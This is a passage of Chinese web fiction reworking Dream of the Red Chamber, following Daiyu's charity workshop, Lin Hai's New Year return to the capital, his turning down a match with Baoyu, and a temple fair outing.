不过,管事只用教三个人,剩下的人她们自己教,不废什么事;管事心里有些过意不去,便画了花样给绣娘们。
绣娘们也不占便宜,把花样给管事,卖的好的管事给慈幼院分红,虽然不多,但也能让她们偶尔打个牙祭,改善下生活。
姑娘们一直关注绣庄和慈幼院的事情,但到底郊外太远,家里不放心她们频繁前往。
楚楠、卫若竹、张阅赶忙早早求了兄长,要他们放假后护送她们去绣庄和慈幼院看看。
楚彬、卫若兰、张阐看她们学了半年,没有放松,便同意了。
放假第二日一早,黛玉、楚楠一群姑娘早早准备好,楚彬、卫若兰、楚榕也早早来了张府,齐齐前往郊外群芳绣庄和慈幼院。
卫若兰三人骑马,姑娘们坐车,各带着一个丫鬟,又带了一队护卫的仆妇。
楚彬、卫若兰、张阐想着他们三个大男人,夹一群姑娘中间,不太方便,卫若兰便提议,去寻访野梅,赏赏冬景。
这话一出,楚彬、张阐便懂了他的苦心,苦笑,但也欣然应约。
到了庄子,姑娘们先结伴去了绣庄,关心了一下绣娘们的生活,要她们有事了别怕麻烦,只管找她们;又吩咐管事提前给绣娘把月钱发了,过年多发一个月;又说年底了,今个儿就给她们放假,各家送来的嬷嬷也跟着回去,像秀娘这般家里不方便回去的可以留在绣庄,到时候和慈幼院的孩子们一起过年;又说实在没有刺绣天赋的,别丧气,别担心,到时候还能在绣庄找个别的活干;又告诉她们正月十五要都来……
楚楠说,黛玉她们补充。
说完后,她们就让绣娘们去收拾东西了。
姑娘们转战慈幼院,楚榕去安排慈幼院过年的相关事宜,黛玉她们十几个姑娘则陪着孩子们玩,教孩子们读诗。
想着楚榕忙完了,楚楠便叫了黛玉、若竹去找楚榕。
姑娘们看见了好奇她们去干什么,不过没教她们,也没人跟过去。
张阅、素心瞬间想起之前的夜谈,想着若竹
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、楚楠的想法,这几个月没听她们提起,还以为她们放弃了,原来还没有,却也没说,只是道,“楚姐姐大概想要让公主加入我们诗会,之后肯定会给我们说。”
姑娘们都相处地不错,听了便继续干自己事,没说什么。
楚楠进去,确定楚榕忙完了,便让几人的丫鬟守着门外,说起她考虑了几个月的想法。
楚楠道,“我有事情和你们商量,先和你们通个气,再和姐妹们讨论。”
黛玉、若竹大概知道什么,楚榕一头雾水。
楚楠了解楚榕,她们堂姐妹一起长大,哪怕她不同意,也不会出卖她,便开门见山道,“妹妹这几个月也见了,女子生活很难,隔壁绣庄的秀娘,还有很多女子,都过着苦不堪言的日子,我们有意改变这一切。”
楚榕听了正色起来,问道,“堂姐是想我也一起吗?我当然愿意,可我们终其一生,能做的大概就是把绣庄、慈幼院开遍大楚。”
黛玉坚定地道,“不,我们能做的很多!起码我们女学的学生出来,若以后出京,可以到各地办女学,女子学了知识,认清自己的处境,就会自己反抗,不再只会忍。”
楚榕听了沉思,她知道这不容易实现,但也是一条路。
楚楠接着道,“我曾经想过找个寒门进士,让他外任,架空他。直到上次进宫,听了你的疑问,为什么同是皇室子弟,兄长们可以去争江山;你想出宫学习都不行,姐姐们嫁人后进宫还要递牌子,为什么你不可以争?我们不能争?”
黛玉听了楚楠的话,陷入沉思。她从未想过从政治角度解决问题;或者,她想政治问题是大部分女性觉醒后想的。
若竹想,这和她之前的想法是一个思路,只是她想要借男子的手实现,为什么女子不能自己上呢?
若竹劝道,“公主可以想想。”
黛玉道,“楠姐姐可以详细说一下你的想法吗?至少我觉得这应该徐徐图之,起码我们这一代太早了。”
楚楠压低声音,确保只有她们四个能听到,道,“皇伯父正当年,起码还有二三十年时间,我们可以慢慢来,公主可以从慈幼院开始,慢慢攒政治资本;安安有意从军,可以建立女子军队;黛玉、陆沅他们有意开办女学,可以把女学开遍大楚,从文化上改变女子思想,让她们学会反抗压迫;阅阅想要经商,可以提供金钱支持;思思爱好手工,可以改造工具;琋琋年纪小,却是稀有人才,以后指不定能研究出更好的火器,如果和平演变不行,不排斥武力斗争……我们多管齐下,女性被压迫的时间太长了,我们该站起来了!”
楚榕没有立即回答,她答应后肯定要站在父亲、兄长的对立面;但父亲、兄长们没有对她不好。
楚榕道,“我要考虑下,过完年给你们答复。不过,你们放心,我不会告诉任何人。”
楚楠也不强求,只说要她好好考虑。
黛玉大概明白楚榕的犹豫,补了句,“如果你的父兄爱你、尊重你,是舍不得你被他人欺压的。由己及人,也会同情别人的女儿,自然不会站在你的对立面。”
黛玉自信父亲爱她,会支持她。
但她还不懂,父亲和父亲不一样,父爱和父爱也不一样。
楚榕听了没说话,只是记进了心里。
几人出去后,姑娘们纷纷冲过去,问说了什么。
黛玉道,“帮公主出个主意,我们年后再聊。”
姑娘们听了也不追问,只拉着她们陪孩子们玩。
中午刚用完餐,卫若兰三人就来接她们了,卫若兰他们果然访到了野梅,不过也没舍得多折,只折了几支送给孩子们。
姑娘们告别慈幼院的孩子们、绣娘们,又提前祝她们新年好,才在慈幼院、绣庄众人的目送中,带着嬷嬷们离开了。
楚榕回京后,去看了两个姐姐,就马不停蹄地回宫陪伴父皇、母后、太上皇、太后尽孝,在楚榕的逗趣下,宫里也是欢声笑语不断。
楚榕又积极帮皇后理事,皇后连连感慨女儿懂事了。
年前各家虽然都忙着准备过年,姑娘回家还是心肝肉啊的叫着、疼着。姑娘们也很珍惜一家团聚的日子,很少想别的事情,只陪着祖父母、父母彩衣娱亲。
贾母觉得孙女们受罪了,更是一波波的补品、首饰送给熙凤和几个孙女,恨不得孙女一直在跟前呆着。
年前宝玉也放假了,整日歪缠着姑娘们玩。
宝钗进京是为了参选伴读,前几个月前公主出宫,不选伴读后萎靡了一阵,便恢复了过来。
这一阵整日和宝玉、湘云、探春她们玩,和宝玉日渐亲密起来。
黛玉整日陪着贾母、读书、和姐妹们玩,日子也十分充实。
后来,收到父亲回京过年的信,赶忙让雪雁回林家一趟,让管家收拾,布置林家,精神都好起来。
25.第二十五夜
腊月二十八一早,林海入京。
下船后,林海忙命仆人送礼物前往贾家,并递拜帖下午拜访接黛玉;自己回林家简单梳洗过后,立刻入宫述职。
述职结束,君臣多年未见,林海政绩斐然,倒也相谈甚欢。
出宫后,林海念女心切,迫不及待地奔赴贾府。
荣国府下人把林海迎入荣庆堂,荣国府的长辈孩子都在。
林海进入大厅,第一眼看见就是林黛玉,他想,黛玉长大了,又瘦了;却只克制着,恭敬又有些惭愧地向贾母叩首,问安,“小婿见过岳母。”顿了顿,“小婿请罪,没有照顾好敏敏,没有把敏敏带回来。”林海的声音到后面有些低沉。
黛玉听父亲提起母亲,看着外祖母和父亲难过的样子也流下泪来。
素心看着黛玉哭,拉住黛玉的手安慰起来。
贾赦、贾政想起妹妹,也面露郁色;邢夫人、王夫人、王熙凤都不禁拿起帕子擦起眼角。
贾母看着林海进来,眼睛有些花,仿佛看见远赴的女儿站在女婿款款而来,如同贾敏回宁那日,满堂的亲朋好友,等着新婚夫妇的来临,她开心女儿归家,又担心女儿过得不好;可她听到了什么,哦,对了,敏敏已经走了三四年!
贾母回过神,看着跪在地上的女婿,她知道不是林海的错,但说不出不怪罪,只道,“如海,这是做什么,快起来。”
贾赦看向贾琏,贾琏上前搀扶林海;黛玉也走过来,站在林海身边,一脸孺慕地看向林海,“爹爹。”
林海的手抚上黛玉的头发,道,“爹回来了。”
林海向贾母躬身一揖,“黛玉这半年,打扰岳母了。”
贾母看着林海,“敏儿就这点骨血,我宁愿多打扰我些时候!早先让你把孩子送过来,偏偏让孩子守孝读书,她那点孩子怎么受得了。”
林海知道贾母关心黛玉,一片舐犊情深,恭敬道,“您放心,敏敏早早嘱托过黛玉身体重要,我们拿会苛待黛玉。”又缓缓解释道,“黛玉六岁的时候给请了先生,一年后请辞;寻摸了一年没有合适的,黛玉一直跟着敏敏学;后来,敏敏病了,我们都没精力教她,只让孩子自己学,有问题再问我,敏敏一直自责耽搁了黛玉。敏敏病重那会,我一老友遭了灾祸,人品学识都放心,便和敏敏商量着邀他一家来姑苏,教黛玉读书。”
林海说不出,那会儿贾敏已经不好了。
贾母都知道,早先林海来信解释过,只是人老了,心疼孩子,发发牢骚,叹道,“这孩子……只是苦了黛玉,来京里的瘦的竹竿似的!”
林海也难过,女儿自幼身体不好,他们不知道操了多少心,当年让黛玉留在姑苏,也是想着女儿年幼,舟车劳顿,对身体不好,“黛玉早先身体不好,后来跟着先生锻炼才好,只是看着瘦弱,内里康健的。”
贾母也知道黛玉有些先天不足,现在这样都是调养好的了,只是犹觉不足,看着孩子单薄的样子心疼,叹了一声,没再说什么。
林海向贾赦、贾政、王夫人、邢夫人见礼,贾赦、贾政、王夫人、邢夫人回礼。
林海入座,叹道,“多年不见,两位舅兄风采依旧。”
想起离开时承诺带贾敏和儿女回来拜见岳母她们,如今只剩他们妇女二人,低叹道,“物是人非事事休。”
贾赦听到了,他是过来人,知道劝了没用,只看着有些清癯的林海道,“你却憔悴许多,案牍劳顿之余,也要保重身体。”
林海谢过,只道是旅途劳顿。
贾赦向小辈们招手道,“琏儿、宝玉,你们快来见过你姑父。”
贾琏、宝玉、贾环、贾兰、李纨、王熙凤、素心、探春、琋琋站成两排,向林海行礼,“见过姑父/姑祖父。”
林海道,“好,”随从各自送上表礼,“许久未见,姑父备了些薄礼,都收着,改日邀你们去我家玩。”
少爷、姑娘们谢过。
林海考教贾琏几句,言大有进益,继续努力。
又考教宝玉、贾环、贾兰几句,心里有数,向贾赦、贾政道,“雏凤清于老凤声啊!两位舅兄后继有人。”
贾政道,“哪里。这孽子整日不学好,也就诗歌上有些歪才。”
林海劝慰道,“孩子还小,多打磨几年就好。”
贾赦虽未时时叮嘱,却也一直关注孩子们,道,“要说还是你家黛玉好,学识、理事都是数一数二的。半年前她们还救了一个妇人,这半年姑娘们办了个群芳绣庄,招了很多绣娘,很是不错。上面怕都挂了名。”
邢夫人无所谓,就当听个热闹;王夫人的佛珠转的又快了些,也不知何想法;探春羡慕有之、嫉妒有之、钦佩有之,她多想走出这四四方方的大院子,可惜她不能;熙凤、素心她们都很是与有荣焉;宝玉有些开心,他也为绣庄贡献了一份力,黛玉说了,等群芳绣庄赚了钱,就拿他给的胭脂方子开个店,帮妇人们找个出路,下定决心,多研究些方子……
林海虽与黛玉有书信往来,但也不是事无巨细的说,听了大舅兄的表扬,有些自豪,又有些遗憾,没有见证女儿的成长,“那我回去可要好好问问黛玉。”
贾母看着大人们说话,孩子们有些拘谨,就让王熙凤带着弟弟妹妹们离开了;王夫人、邢夫人借着张罗宴席也离开了,留给男人们聊。
贾赦看姑娘们都离开了,直接问道,“如海,你今日面圣怎么样?能留京吗?”
林海朝北拱手道,“今日面圣,说了江南盐政的事情,陛下还算满意,只是以后还不定,毕竟……”
贾母、贾赦、贾政都懂,太上皇、皇上二圣临朝,皇上备受掣肘。
贾政道,“如今留京、外任都不容易。”
贾赦、林海点头,林海道,“如今,只等上意了。”
贾赦、林海、贾政几人聊完政事,贾母问道,“如海,黛玉现在也大了,到了年纪,你怎么打算的?”
林海听了,想起刚来贾府后的一封来信,贾敏曾经也说起过宝玉和黛玉,只是不放心。
今日,他见了宝玉,还算有灵气,无意仕途,性格又软弱,不怕黛玉拿捏不住;贾家又是黛玉外家,宝玉二房的,黛玉不是宗妇,过自己日子就好,不怕受委屈;只是,配不上他的掌珠。
林海思量一阵道,“我就黛玉一个女儿,想多留她几年。”
贾母也懂,劝道,“也该想看起来了,到时候晚点出阁就好,不然好的都被挑走了。”
贾母考虑了一会儿,还是说道,“你觉得宝玉如何?”
贾琏听了差点没控制住表情,这两年在姑苏,姑父和表妹待她们尽心尽力,他可不能眼看着表妹跳火坑,打定主意给姑父说说。
毕竟,宝玉十岁出头就和丫鬟厮混了,长辈们知道,底下可都传疯了;他也风流过,但也没这么荒唐。
林海知道岳母虽有些私心,也是想着黛玉以后好过;又想起贾敏的叮嘱,敏敏和二嫂不睦,黛玉以后到底要在婆婆低下讨生活,婉拒道,“岳母,我听敏敏早先提过,只是
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孩子们还小,未来难料,敏敏没应;后来,敏敏又叮嘱我一定要找个品性才华都出挑,四角俱全,最重要的是对黛玉好的。如今,黛玉才十二,一心读书,还什么都不懂呢,我想着十四以后再考虑。”
林海说道最后,想起贾敏死前的殷殷叮嘱,想道,敏敏要是也在多好啊。
贾母听了也没勉强,道,“你好好考虑,黛玉是敏儿唯一的骨血,我看顾着,总不会让人欺负了她。宝玉也是个善良孩子,肯定会黛玉好。”
贾母也知道,在她眼里,宝玉千好万好;外人眼里,宝玉也只是荣国府二房的嫡次子,和三品大员的独女不相配,又道,“再者,琏儿继承爵位,大房财产都是他的;二房还有兰儿,宝玉没有什么,我疼他,以后我的嫁妆大都给他,以后若不愿出仕,做个富家翁,平安一生也是好的。”
说道最后,贾母长叹一声,“我这一辈子,什么都见过了。你们父亲一朝不慎,性命都没了。本来……”
贾赦、贾政都知道母亲的未尽之言,从荣国公到一等将军,降的太狠;贾赦的侯爵成了将军,又赏了贾政一个六品的工部主事,还道他们父亲上遗折求得,可他们一直守着父亲,哪能不知道有没有求呢?
贾政即便不能中举,想要出仕,花钱捐都能捐个五品闲职,调到外地地区赞资历慢慢升都行,纵然贾政无能,找几个有才的师爷也行;那用得着用侯爵求个六品主事,还坐了十年冷板凳还因为女儿封妃才升了一级?
一箭双雕,公侯伯子男,传承起码四代的爵位一下撸到底了;贾政的科举路途也断了,不管他能力如何,以后的官途都坎坷了;还离间了贾赦、贾政兄弟。
这阳谋已经第二次了,早先荣府他们父亲因功袭了国公;宁府叔父却被撸,成了一等将军。
林海也懂,听着贾母的话很是感怀,叹道,“惟愿吾儿愚且鲁,无病无灾至公卿。岳母,我会好好考虑。”
贾母道,“不急,黛玉还小,只是我们大人要早早打算。”
林海应诺。
贾赦早早把素心的事托付给了张家,甩手掌柜,倒也不急,说了句,“我把素心托付给嫂夫人了,黛玉她们一起读书,素心她们几个年龄相仿,你拜托嫂夫人,到时候一起相看也好。”
林海才见到阔别半年的女儿,就被催着说嫁女儿的事,很不是滋味,只道会考虑。
贾赦看了林海的表情,哈哈大笑。
林海现在的不爽他也有过,只是姑娘花期有些,耽搁就不好了。
贾母看了他们两个,说道,“老大也别只当甩手掌柜。”
贾赦应是。
几人闲聊一阵,王夫人来请老太太、林海、贾赦、贾政用膳;几人离开前去膳厅。
在座的都是自家人,未分男女席,长辈并贾琏、宝玉坐一桌,熙凤、李纨带着孩子们坐两桌。
孩子们说说笑笑,好不欢乐,黛玉见了父亲,能回家了,尤其快乐;素心几人与黛玉形影不离惯了,想着黛玉要回家了,十分不舍,黛玉道,“我回去陪父亲几天,年后找姐妹们玩。”
素心几人一想,都在京城,相见也便宜,离情顿时散了几分。
长辈这桌贾母用完膳,邢夫人、王夫人就伺候着贾母离席休息了。
贾赦、贾政、林海推杯换盏,贾琏、宝玉倒酒,你敬我来我敬他,食过五味,酒过三巡,才散席。
宴散后,林海在客房醒了会酒,就去向岳母辞行,约定年初二来拜年后,就带着黛玉离开归家了。
26.第二十六夜
出了荣宁街,京城的街道已经很有年味。
林家父女在马车上闲谈,谈话的内容是她们积攒半年的关心,林海关心黛玉有没有生病;黛玉也关心林海是不是生过病,有没有带病上衙……
?戌时已过,街上依旧人来人往,坐在车上的黛玉都被街上的欢笑声、叫卖声感染,不禁掀开车帘一角,看向外面。
街上有卖对联的,有卖烟花爆竹的,有卖糖画的……
林海也由着黛玉看,看着黛玉欢喜的神色,问道,“黛玉,要不要下去走走?”
黛玉心动,但想着父亲一路旅途劳顿,又是进宫,又是见外祖母、舅舅们,肯定累了,摇头拒绝,“爹爹,我们先回家吧。”
夜深了,林海也不勉强,靠着车厢闭目养神,想着初一的时候有灯火,带黛玉出去看。
过了闹市区,黛玉放下车帘,看父亲已经睡着了,便也学着父亲靠着车厢上闭目养神,想着明年群芳绣庄的发展,想着用宝玉的脂粉方子开个水粉店,不擅长的刺绣妇女可以派去制作胭脂水粉……
回林府后,林海看天色更深了,便收起和黛玉聊聊的想法,让黛玉早点回去休息,自己也回了主院。
黛玉带着丫鬟们回了院子。
黛玉的院子提着“林下阁”,是黛玉想着谢道韫文采不让须眉、武能提刀战敌的事迹写下的。
黛玉回来过几回,却一次也没有住过。
梳洗过后,黛玉就上床休息了,雪雁守夜。
一夜好眠,这大概就是归家的感觉。
第二日,林海早早起来见了管家,叙了别情,了解了京城的近况,安排了过年的相关事宜,才让人去请黛玉来用早膳。
黛玉醒来后,在雪雁、逢春、子规、知更的伺候下梳了一个随云髻,简单簪了几个红色的珠花,穿了一身红色的袄裙,披了一个红色羽纱面白狐狸里的大氅,面上错落的绣着些蓝色蔷薇花朵,很是热闹。
黛玉很久没有穿这样的艳色,上次穿的这样热闹,还是贾敏在的时候。
黛玉打扮妥当好,雪雁打趣道,“这哪来的仙女?把我家姑娘哪去了?”
姑娘们听了呵呵笑起来。
黛玉有些不习惯,又被笑的有些恼,“找打,竟敢打趣我。”
雪雁正经道,“姑娘这样穿才好,老爷看了肯定开心。”
黛玉了解丫鬟们的心意,早先守孝穿了两年素衣,后来出孝了也习惯了;来京后,又忙着上学、忙着绣庄,很少有机会隆重打扮,便由着她们。
主仆笑闹间,林海派来小丫鬟来请黛玉去用膳,“姑娘,老爷请您去用膳。”
黛玉笑道,“辛苦你了。雪雁,给她抓一把钱,沾点喜气。”
话落,雪雁抓了一把铜钱递给丫鬟。
丫鬟接过铜钱,行礼谢赏。
黛玉又吩咐雪雁,“雪雁,带着我准备好的文章,跟着我走。”又看向知更、逢春、子规嘱咐道,“在家呢,你们不用跟着了,趁着过年,好好休息下。”
黛玉起身,示意丫鬟跟着她离开。
雪雁听了吩咐,赶忙应声,回身去桌子上取来黛玉早早整理好的一沓文章,都是这半年来黛玉的心血之作。
黛玉到了膳厅的时候,看到林海坐在桌前喝茶,埋怨道,“爹爹,空腹喝茶对身体不好?这可是你说的!”
林海听了女儿的话,赶忙放下茶杯,道,“听你的,再也不喝了。” 看着女儿款款走来,感叹连连。
早年贾敏在的时候,最喜欢看黛玉穿红衣;回想起来,已经三年没见黛玉穿一身红衣了。
黛玉走过来向林海行礼,林海连忙阻止黛玉,“快别多礼,都是你爱吃的,快过来吃。”
黛玉的目光移到桌上,酸笋鸡皮汤、野鸡瓜子、鸡油花卷、豆腐皮包子、枣泥山药糕、鸽子蛋、炸鹌鹑、芦蒿炒面筋、燕窝粥……都是她爱吃的,想来都是父亲吩咐的,很是感动。
黛玉入座,未等丫鬟动手,黛玉就盛了一碗粥递给林海,“爹爹喝粥。”
林海连道,“好,你也吃。”
林海又给黛玉加了几筷黛玉喜欢的菜,父女二人其乐融融地用了早膳。
吃完早膳,林海打算和黛玉谈谈这半年的经历,便带黛玉前往书房。
黛玉接过雪雁手中的文章,让雪雁先回去用膳,自己跟着林海离开。
林海的书房倒也没有什么名字,只简单在外面提了“书斋”两个大字。
说是书房,其实是一个院子,林氏父女爱竹一脉相承,院门口种着几杆翠竹,院子里面是一排雕梁画栋的房子,房子外面围着一个小水塘,以防失火;正中间是林海读书、办公的地方,旁边的几间放的是林家几代积累的书籍,很是可观。
当然,这书斋里也不是林家所有的藏书,只是他们惯常看的和用的书籍。
林海、黛玉进入书房,丫鬟泡好茶就离开了,只剩父女二人对坐在书桌前。
黛玉早先特意写信回家,信里不好说,黛玉又不好问,怕黛玉一直牵肠挂肚,林海便想着先说贾母提亲的事情;偏贾敏走了,家里也没有其他女性长辈,他一时不知道怎么开口,斟酌半晌才说道,“早先你写信回来,昨日你外祖母提起你和宝玉的婚事,我婉拒了,你现在怎么想?”
黛玉有些害羞、有些尴尬、有些害怕,但又知道父亲不会立即答应,缓了缓才说道,“初见,宝玉有些言行不忌,要给我起小字,要摔玉,后来素心姐姐给我提醒,我才给您寄了信;可后面我们建绣庄,他慷慨的贡献出自己研制的胭脂方子,让我们帮助女孩子,平日有我们女孩子不方便出面的事情,也积极帮忙。”黛玉又顿了顿,“只是,他不喜欢读书,只喜欢诗赋,写的诗赋也有灵气,性子还有些软弱,经常被丫鬟辖制,做这样的哥哥还不错。”
林海尽管早就知道,亲耳听到,还是愤怒,攥紧拳头欲砸下去,只是怕吓着黛玉,生生忍者;后面听着,怒气慢慢平复,所幸他没有答应,所幸黛玉很清醒。
林海看着黛玉郑重道,“放心,爹爹还想多留你几年呢!”
黛玉也道,“女儿要永远陪着爹爹。”
林海谈起女儿婚事,还有些伤感,听了黛玉的话,顿时哈哈大笑。
黛玉听父亲笑了,也缓过来,向林海说起这半年的经历,说起她们学洑水,遇到秀娘,报官,遇到吴县令,办群芳绣庄,皇后、昭华公主办的慈幼院,认识的新朋友们,女婴的葬礼,还有她为女婴写的《祭女婴稿》……
说着,黛玉把文章递给林海,林海拿起文稿细细看起来,黛玉捧着茶杯喝起茶水。
林海看罢,心里又一次叹道,情谊深重,志向高远!女儿长大了!有自己想做的事情了!
林海同样知道,前路多艰!他想要女儿一生顺遂,又不忍心枉顾女儿愿望。
“你让爹想想!黛玉!”
黛玉知道爹爹疼她,最后肯定会答应,指不定还会帮她,激动道,“谢谢爹!”
父女二人又下了盘棋,黛玉输了,但林海却体会到女儿的进步,深感欣慰。
天伦之乐,时光飞逝如水。
腊月三十,林家父女安排丫鬟们打扫卫生、准备金银锞子、铜钱,贴对联、贴福、贴财神,祭神祭祖……
一天忙忙碌碌的度过,夜晚打发丫鬟、小厮们一起守夜,父女二人在黛玉院子吃了团圆饭、守夜。
黛玉给林海送了一套自己做的衣服;林海给黛玉送了一个红包,打开放着一个铺子的契约。
黛玉想开的水粉铺子有地方了。
子时一过,林海道,“黛玉早点休息,爹回去了。”
黛玉要送林海,林海坚决拒绝,自己离开。
林海并没有回主院,而是拐去了祠堂。
林家列祖列宗都葬在姑苏祖坟,牌位供奉在姑苏老宅;但林家众人多在京中为官,京城林府也供奉了故人的牌位,林海父母、贾敏的牌位都在。
牌位擦的泛光,林海抚过牌位,点了三支上香插在香炉上;拿着贾敏的牌位坐在蒲团上,絮絮说着黛玉和朋友们办的群芳绣庄、黛玉在女学的趣事、黛玉救秀娘的经历……说他的欢喜、骄傲和踌躇,又说如果贾敏在,一定知道该怎么办……
直到天色泛白,林海才离开祠堂,回到主院。
正月初一,林海陪黛玉用过早膳后,便入宫朝贺。
林海走后,黛玉把当值的丫鬟随从们召集在一起拜年、训话,各赏了一个月月钱;丫鬟随从们欢喜地谢过黛玉,各自回了岗位。
后面,黛玉在管家和荼白、梅染的帮助下敬神祭祖……
林海回来后,带着黛玉去了华严寺,澄心、磁青、云肪、云蓝几个小厮与雪雁、知更、逢春、子规四大丫鬟随行,又带了几个护卫。
管家、梅染、荼白他们留在家里,接待可能到来的意外事件。
到了寺庙,林海带着黛玉拜了佛,上了香,又带着黛玉在寺里参观。
途中,遇到久别的友人,见礼叙话过后,在友人的热情邀请和黛玉的劝说下,随友人们一起去叙旧论道。
林海担心黛玉跟着自己无聊,拜托了一个小僧引着黛玉参观;又只让澄心跟着自己传话,让黛玉带着其他的随从丫鬟们;又叮嘱黛玉游览毕了去找自己。
黛玉逛到了大雄宝殿的时候,遇到了卫家兄妹。
途遇好友,黛玉、若竹都很开心,若竹看黛玉一人,就邀请黛玉同行。
黛玉想着姐妹难得相遇,又不用打扰不亲,只是顾忌卫若兰,犹豫了一会儿。
黛玉又想道,既然打算做一番事业,与男子打交道肯定无法避免,何必扭扭捏捏。
更何况,世家兄妹,又丫鬟随从们随行,倒也无碍,便欣然应允。
若竹、黛玉走在前面,若兰自动退后,跟着她们的丫鬟、随从们自觉跟着后面,不远不近的位置。
原来是卫若竹要上战场,父母都不同意,家里大过年的气氛也不是很好,若竹便拽着卫若兰来华严寺散心。
平日里姐妹们闲聊,沈安也给她们将边境的不易、沙场的残酷。
贾家祖上功封国公,到第三代已无人从军。
如今,卫若兰选择从军,黛玉听了,很是震撼。
毕竟,战场不止荣耀,更多的死亡。
不禁问卫若竹,“卫世兄怎么会突然想上战场?”
问了黛玉就后悔,这好像不该是她该问的。
卫若竹听了倒也没想什么,只道,“那是我哥从小的志向,前段时间传来边境消息,真真国又不安分,偷袭边境百姓,怕要起战火,我哥才想着去的。”
之前秀娘的事,楚彬和张阐都不是很认可,卫若兰却第一时间叫好,又支持卫若竹,赞同卫若竹去做更多的事,黛玉就很羡慕若竹有这样的哥哥。
现在,黛玉听了若竹的解释,对卫若兰的敬佩之情油然而生,民众参军大都因为征兵,边关百姓要保卫自己的家园,最后马革裹尸还。
如今他们的安稳,都是因为战士,可朝中武将得到的尊重和信任却很少。
黛玉也知道,有些人家的公子上战场混资历,若卫若兰是这个打算,卫国公和郡主姨妈必然不会阻拦。
可卫若兰一个王孙公子,能迎难而上,在战火纷飞时奔赴战场,实在可敬。
战,百姓苦;不战,百姓易苦。
黛玉叹道,“只愿再无战火,百姓生活安乐。”
卫若兰听到他们的谈话,坚定的道,“一定会的。”
卫若竹、黛玉也跟着道,“一定会的。”
卫若竹咽下想要劝哥哥的话,只道,“哥哥支持我,这次我也支持哥哥。”顿了顿,哽咽道,“别让父母伤心,要安全回来。”
卫若兰拍了拍卫若竹的肩膀,郑重地说道,“好。”
黛玉看他们气氛有些沉重,笑道,“那我祝世兄武运昌隆,攻无不克战无不胜。”
卫若兰拱手道,“借林世妹吉言。”
走着看着前面有个亭子,卫若兰想着走了有一会儿了,怕她们累了,指着亭子道,“我们过去坐坐吧。”
两姑娘也确实走累了,卫若竹拉着黛玉走了过去,卫若兰也走过去,坐在若竹旁边。
丫鬟随从们看主子们坐下,看亭子四面临风,赶忙生起炭火,泡起茶。
三人一边烤火,一边聊天。
歇了一会儿,三人继续游览寺庙。
黛玉看快午时,使磁青去问林海下落,午膳怎么安排。
磁青回来说,林海那边友人许久未聚,聊至正酣,让姑娘先去用膳。
若竹听了道,“黛玉你才来京城不知道,华严寺的素斋挺有名的,我们就去吃素斋,如何?”
黛玉知道若竹想要陪她,“那我可要尝尝,要不好,若竹姐姐可要负责哦。”
若竹道,“一定不让你失望。”
素斋果然不负若竹称赞,黛玉和若竹又约了下次再来。
若竹道,“寺外有庙会,不如我们一起去逛逛?逛完我们回去,你来等林叔叔?”
卫若兰也道,“林世妹一起吧!”
黛玉想着时间还早,便让磁青过去给澄心说了一声
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,和他们一起去了。
出了寺庙,到了庙会,黛玉、若竹让丫鬟随从们自己去玩,只留下雪雁和磁青跟着自己。
庙会很是热闹,有刷杂耍的、有摆摊的、有猜谜的……
到了猜谜的摊子,黛玉几人看了一遍,没有一点难度,觉得胜之不武,倒也没有去赢灯回来。
只留了一两个丫鬟跟着
后面走到一家卖花灯的摊子上,很有几分野趣,卫若兰买了两盏,一个芙蓉灯,一个芍药灯,芙蓉灯给黛玉,芍药灯给若竹,若竹很高兴,黛玉本想拒绝,若兰道,“算临别礼物。”
若竹也劝,黛玉想着没什么,就收下了;后面遇到了面具的,黛玉给自己和若竹选了两个一样的仙女的,给卫若兰送了一个关羽的面具。
卫若兰笑着收下,谢过黛玉。
三人逛完,若竹、若兰送黛玉回了寺庙,黛玉目送若兰若竹兄妹离开;黛玉有些累了,就没去找父亲,让小僧帮忙找了间空寮房休息,让磁青给澄心报个信,方便父亲结束来找她。
林海那边结束,和友人挥别,已近?酉时,过来找黛玉,难免觉得忽略黛玉。
林海敲门,进入寮房,黛玉忙问,“爹,用膳了没?”
林海道,“爹吃了,寺里的素斋。”
黛玉道,“我也是,很不错。我还遇到了卫家的若兰姐姐和世兄,和他们一起吃的,去逛了庙会。”
林海道,“现在我们去‘最味轩’吃晚膳,完了爹带你去逛灯会。”
最味轩是京城的老字号,口碑很好。
黛玉读书的也常听同窗们提起,惊喜道,“真的。”
林海点头离开。
黛玉赶忙跟上。
丫鬟们从林海进来就收拾东西,也赶忙跟上。
林家父女在最味轩用完晚膳,已至戌时,街上已灯火通明。
街上有唱戏的、有打铁花的、有放烟花的、有长皮影戏的……
林海陪着黛玉一一游过,中间还救了一个女孩。
女孩浑身是伤、衣衫褴褛,跑得时候撞到黛玉。
有人欢喜过年,有人亡命街头,黛玉心里很不是滋味,想肯定有难言之隐,正想问问怎么回事,若能帮就帮帮她,女孩就晕了过去。
黛玉、林海忙吩咐随从送她回家,找郎中给她治疗。
后面林家父女兴致都不太高,走马观花般看了一会儿,便回去了。
亥时二刻遇到姑娘,亥时四刻归家。
林管家在大厅候着。
林海问道,“老林,刚送回来那姑娘怎么样?”
林管家答,“老爷,姑娘,你们送回来的姑娘已经请郎中看了,都是外伤,又饿狠了,现在已经包扎了,待修养几日就好了。”
林海点头,黛玉道,“麻烦林伯找个小丫鬟先照顾着。”
林管家道,“已经安排小丫鬟乌兰看着了。”
黛玉道,“辛苦林伯了,快早点回去休息。”
黛玉看向林海,“父亲也早些休息。”
林海道,“你回去也早点休息,明日还要去你外祖家。”
黛玉道,“爹放心,我回去就休息。”
黛玉说罢,向林海行礼,带着丫鬟告退。
林海看着黛玉离开,吩咐林管家,“明日找人去查查,看怎么回事。”
林管家躬身领命。
林海回了主院卧房。
正月初二,林家父女拜访贾府。
贾政一家和薛家母子三人都去了王家,宝玉也去了,倒也省了很多事端。
王熙凤因着怀孕,父母又不在京,便未去王家。
贾敬回家过年,接了琋琋回去。
贾琏到门口迎接林家父女,见过贾母后,黛玉、素心、熙凤陪着贾母说笑玩乐,贾琏引林海去贾赦书房闲谈。
贾琏路上隐晦的说了宝玉的一些事,林海心里暴怒,彻底把宝玉撤出女婿的考察名单,面上依旧云淡风轻地谢过贾琏,“你的心意姑父领了,放心。”
贾琏惭愧道,“关乎妹妹的终身,我知道,哪能隐瞒。”
林海拍了拍贾琏肩膀,没有说话。
两人步入贾赦的书房,贾赦已备好茶等着。
贾赦如今虽是富贵闲人的样子,却已经拣起家里的老关系,预备给儿子和家里子侄铺路,在未来的争锋中掺一脚。
林家和贾家的立场一致,贾赦预备和林海商量商量,贾琏作为贾家的继承人,旁听。
闲话叙过,贾赦直指正题,“太上皇还在,底下的三位皇子已经争起来。”
